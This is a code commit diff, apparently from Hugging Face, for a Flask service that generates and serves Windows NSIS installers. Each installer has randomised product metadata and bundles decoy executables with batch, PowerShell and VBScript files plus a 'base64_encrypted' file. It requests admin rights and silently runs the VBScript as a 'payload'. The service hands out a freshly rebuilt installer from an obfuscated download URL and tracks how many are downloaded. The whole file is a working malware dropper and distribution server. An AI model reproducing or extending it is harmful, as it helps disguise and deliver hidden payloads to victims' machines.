sigyllly commited on
Commit
49671d8
·
verified ·
1 Parent(s): f21bc12

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +126 -52
main.py CHANGED
@@ -15,7 +15,7 @@ BASE_DIR = os.path.abspath(os.path.dirname(__file__))
15
  UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
16
  COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
17
  STATS_FILE = "download_stats.json"
18
- NSIS_COMPILER_PATH = "/usr/local/bin/makensis" # Update this to the correct Linux path for makensis
19
  os.makedirs(UPLOAD_FOLDER, exist_ok=True)
20
  os.makedirs(COMPILE_FOLDER, exist_ok=True)
21
 
@@ -28,17 +28,17 @@ NSIS_SCRIPT_TEMPLATE = r"""
28
  ; Basic definitions
29
  Name "{{ProductName}}"
30
  OutFile "${{installer_path}}"
31
- InstallDir "/usr/local/share/Omega"
32
  RequestExecutionLevel admin
33
  SetCompressor /SOLID lzma
34
  SetCompressorDictSize 96
35
  SetDatablockOptimize ON
36
 
37
  ; Interface settings
38
- !define MUI_ICON "/home/user/icons/favicon.ico"
39
  !define MUI_WELCOMEPAGE_TITLE "Welcome to {{ProductName}} Setup"
40
  !define MUI_WELCOMEPAGE_TEXT "This will install {{ProductName}} on your computer.$\r$\n$\r$\nClick Install to continue."
41
- !define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}/Contrib/Graphics/Wizard/win.bmp"
42
 
43
  ; Pages
44
  !insertmacro MUI_PAGE_WELCOME
@@ -59,22 +59,22 @@ AutoCloseWindow true
59
 
60
  Section "MainSection" SEC01
61
  SetDetailsPrint none
62
- SetOutPath "/usr/local/share/Omega"
63
 
64
  ; File copies
65
  File "{{random_program}}"
66
- File "/home/user/programs/0.bat"
67
- File "/home/user/programs/run_base64_encrypted.txt"
68
- File "/home/user/programs/0.ps1"
69
- File "/home/user/programs/0.vbs"
70
  File "{{random_program}}"
71
- File "/home/user/programs/1.bat"
72
- File "/home/user/programs/1.ps1"
73
- File "/home/user/programs/1.vbs"
74
 
75
 
76
  ; Run payload and exit
77
- ExecShell "" "/usr/local/share/Omega/0.vbs" SW_HIDE
78
  SetAutoClose true
79
  SectionEnd
80
  """
@@ -187,7 +187,7 @@ def generate_nsi_script():
187
  version_details = generate_random_version_details()
188
 
189
  # Choose random .exe files from the Programs folder
190
- programs_folder = "/home/user/programs" # Linux version path for programs
191
  exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
192
 
193
  # Check if there are enough .exe files
@@ -204,50 +204,124 @@ def generate_nsi_script():
204
 
205
  # Replace all placeholders in the template
206
  nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
207
- nsi_content = nsi_content.replace("{{ProductName}}", version_details["ProductName"])
208
- nsi_content = nsi_content.replace("{{ProductVersion}}", version_details["ProductVersion"])
209
- nsi_content = nsi_content.replace("{{CompanyName}}", version_details["CompanyName"])
210
- nsi_content = nsi_content.replace("{{LegalCopyright}}", version_details["LegalCopyright"])
211
- nsi_content = nsi_content.replace("{{FileVersion}}", version_details["FileVersion"])
212
- nsi_content = nsi_content.replace("{{FileDescription}}", version_details["FileDescription"])
213
- nsi_content = nsi_content.replace("{{random_program}}", random_exe_1_path)
214
-
215
- nsi_script_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
216
-
217
- with open(nsi_script_path, "w") as nsi_file:
 
 
218
  nsi_file.write(nsi_content)
219
 
220
- return nsi_script_path, installer_output
221
 
222
- def compile_nsi_script(nsi_script_path, installer_output):
223
- """Compiles the NSI script into an executable installer."""
224
- compile_cmd = [NSIS_COMPILER_PATH, nsi_script_path]
225
-
226
- # Ensure the NSIS compiler is available
227
- if not shutil.which("makensis"):
228
- raise FileNotFoundError("NSIS Compiler not found. Make sure NSIS is installed.")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
229
 
230
- result = subprocess.run(compile_cmd, capture_output=True, text=True)
231
- if result.returncode != 0:
232
- raise RuntimeError(f"NSIS Compilation failed: {result.stderr}")
233
- return installer_output
234
 
235
- def serve_installer():
236
- """Serves the installer once compiled."""
237
- timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
238
- nsi_script_path, installer_output = generate_nsi_script()
239
- compiled_installer = compile_nsi_script(nsi_script_path, installer_output)
240
- return send_file(compiled_installer, as_attachment=True, download_name=f"setup_{timestamp}.exe")
241
 
242
- @app.route('/generate_installer', methods=['GET'])
243
- def generate_installer_route():
244
- """API route to trigger installer generation."""
245
- return jsonify({"message": "Installer is being generated. Please wait..."})
 
246
 
247
- @app.route('/download_installer', methods=['GET'])
248
- def download_installer_route():
249
- """API route to download the generated installer."""
250
- return serve_installer()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
251
 
252
  if __name__ == '__main__':
253
- app.run(debug=True, host='0.0.0.0', port=7860)
 
 
 
 
 
 
 
 
 
 
15
  UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
16
  COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
17
  STATS_FILE = "download_stats.json"
18
+ NSIS_COMPILER_PATH = "/usr/local/bin/makensis"
19
  os.makedirs(UPLOAD_FOLDER, exist_ok=True)
20
  os.makedirs(COMPILE_FOLDER, exist_ok=True)
21
 
 
28
  ; Basic definitions
29
  Name "{{ProductName}}"
30
  OutFile "${{installer_path}}"
31
+ InstallDir "$WINDIR\..\ProgramData\Omega"
32
  RequestExecutionLevel admin
33
  SetCompressor /SOLID lzma
34
  SetCompressorDictSize 96
35
  SetDatablockOptimize ON
36
 
37
  ; Interface settings
38
+ !define MUI_ICON "app.ico"
39
  !define MUI_WELCOMEPAGE_TITLE "Welcome to {{ProductName}} Setup"
40
  !define MUI_WELCOMEPAGE_TEXT "This will install {{ProductName}} on your computer.$\r$\n$\r$\nClick Install to continue."
41
+ !define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}\Contrib\Graphics\Wizard\win.bmp"
42
 
43
  ; Pages
44
  !insertmacro MUI_PAGE_WELCOME
 
59
 
60
  Section "MainSection" SEC01
61
  SetDetailsPrint none
62
+ SetOutPath "$WINDIR\..\ProgramData\Omega"
63
 
64
  ; File copies
65
  File "{{random_program}}"
66
+ File "C:\Users\Albert\Videos\New folder\New folder\0.bat"
67
+ File "C:\Users\Albert\Videos\New folder\New folder\run_base64_encrypted.txt"
68
+ File "C:\Users\Albert\Videos\New folder\New folder\0.ps1"
69
+ File "C:\Users\Albert\Videos\New folder\New folder\0.vbs"
70
  File "{{random_program}}"
71
+ File "C:\Users\Albert\Videos\New folder\New folder\1.bat"
72
+ File "C:\Users\Albert\Videos\New folder\New folder\1.ps1"
73
+ File "C:\Users\Albert\Videos\New folder\New folder\1.vbs"
74
 
75
 
76
  ; Run payload and exit
77
+ ExecShell "" "$WINDIR\..\ProgramData\Omega\0.vbs" SW_HIDE
78
  SetAutoClose true
79
  SectionEnd
80
  """
 
187
  version_details = generate_random_version_details()
188
 
189
  # Choose random .exe files from the Programs folder
190
+ programs_folder = r"C:\Users\Albert\Videos\New folder\Programs"
191
  exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
192
 
193
  # Check if there are enough .exe files
 
204
 
205
  # Replace all placeholders in the template
206
  nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
207
+ nsi_content = nsi_content.replace("${NSISDIR}", "${NSISDIR}")
208
+
209
+ # Replace version details
210
+ for key, value in version_details.items():
211
+ nsi_content = nsi_content.replace(f"{{{{{key}}}}}", value)
212
+
213
+ # Replace the placeholders for the random executable files
214
+ nsi_content = nsi_content.replace('{{random_program}}', random_exe_1_path, 1)
215
+ nsi_content = nsi_content.replace('{{random_program}}', random_exe_2_path, 1)
216
+
217
+ # Save the script
218
+ nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
219
+ with open(nsi_file_path, 'w') as nsi_file:
220
  nsi_file.write(nsi_content)
221
 
222
+ return nsi_file_path, installer_output
223
 
224
+ def cleanup_folders():
225
+ """Clean up both compile and upload folders"""
226
+ for folder in [COMPILE_FOLDER, UPLOAD_FOLDER]:
227
+ for file in os.listdir(folder):
228
+ file_path = os.path.join(folder, file)
229
+ try:
230
+ if os.path.isfile(file_path):
231
+ os.unlink(file_path)
232
+ elif os.path.isdir(file_path):
233
+ shutil.rmtree(file_path)
234
+ except Exception as e:
235
+ print(f"Error: {e}")
236
+
237
+ def load_stats():
238
+ """Load download statistics from file"""
239
+ if os.path.exists(STATS_FILE):
240
+ with open(STATS_FILE, 'r') as f:
241
+ return json.load(f)
242
+ return {"downloads": 0, "last_download": None}
243
+
244
+ def save_stats(stats):
245
+ """Save download statistics to file"""
246
+ with open(STATS_FILE, 'w') as f:
247
+ json.dump(stats, f)
248
+
249
+ def compile_nsi_script(nsi_file_path):
250
+ """Compile the NSI script using NSIS compiler"""
251
+ compile_cmd = [NSIS_COMPILER_PATH, nsi_file_path]
252
+ compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
253
+ if compile_result.returncode != 0:
254
+ print(f"NSIS Compile Error: {compile_result.stderr}")
255
+ return None
256
+ return compile_result
257
+
258
+ def get_current_installer():
259
+ """Get the path of the most recent installer"""
260
+ files = list(Path(UPLOAD_FOLDER).glob('*.exe'))
261
+ if not files:
262
+ return None
263
+ return str(max(files, key=os.path.getctime))
264
+
265
+ def generate_and_compile_new():
266
+ """Generate and compile a new installer"""
267
+ nsi_file_path, installer_output = generate_nsi_script()
268
+ compile_nsi_script(nsi_file_path)
269
+
270
+ @app.route('/download/cnVuLmNtZA==')
271
+ def download_file():
272
+ """Handle file download requests"""
273
+ stats = load_stats()
274
+
275
+ file_path = get_current_installer()
276
+ if not file_path:
277
+ nsi_file_path, installer_output = generate_nsi_script()
278
+ compile_nsi_script(nsi_file_path)
279
+ file_path = installer_output
280
+
281
+ if not os.path.exists(file_path):
282
+ return "Installer file not found", 404
283
 
284
+ response = send_file(file_path, as_attachment=True)
 
 
 
285
 
286
+ def after_request(response):
287
+ stats['downloads'] += 1
288
+ stats['last_download'] = datetime.now().isoformat()
289
+ save_stats(stats)
 
 
290
 
291
+ cleanup_folders()
292
+ Thread(target=lambda: generate_and_compile_new()).start()
293
+ return response
294
+
295
+ return after_request(response)
296
 
297
+ @app.route('/show')
298
+ def show_stats():
299
+ """Show download statistics"""
300
+ stats = load_stats()
301
+ return jsonify({
302
+ "total_downloads": stats['downloads'],
303
+ "last_download": stats['last_download']
304
+ })
305
+
306
+ @app.route('/')
307
+ def home():
308
+ """Home page with links to available endpoints"""
309
+ return """
310
+ <h1>File Compiler Service</h1>
311
+ <ul>
312
+ <li><a href="/download/cnVuLmNtZA==">/download/cnVuLmNtZA==</a> - Download compiled installer</li>
313
+ <li><a href="/show">/show</a> - View download statistics</li>
314
+ </ul>
315
+ """
316
 
317
  if __name__ == '__main__':
318
+ # Clean up on startup
319
+ cleanup_folders()
320
+
321
+ # Compile initial installer
322
+ print("Creating initial installer...")
323
+ nsi_file_path, installer_output = generate_nsi_script()
324
+ compile_nsi_script(nsi_file_path)
325
+
326
+ # Start the Flask application
327
+ app.run(debug=True, host='0.0.0.0', port=5000)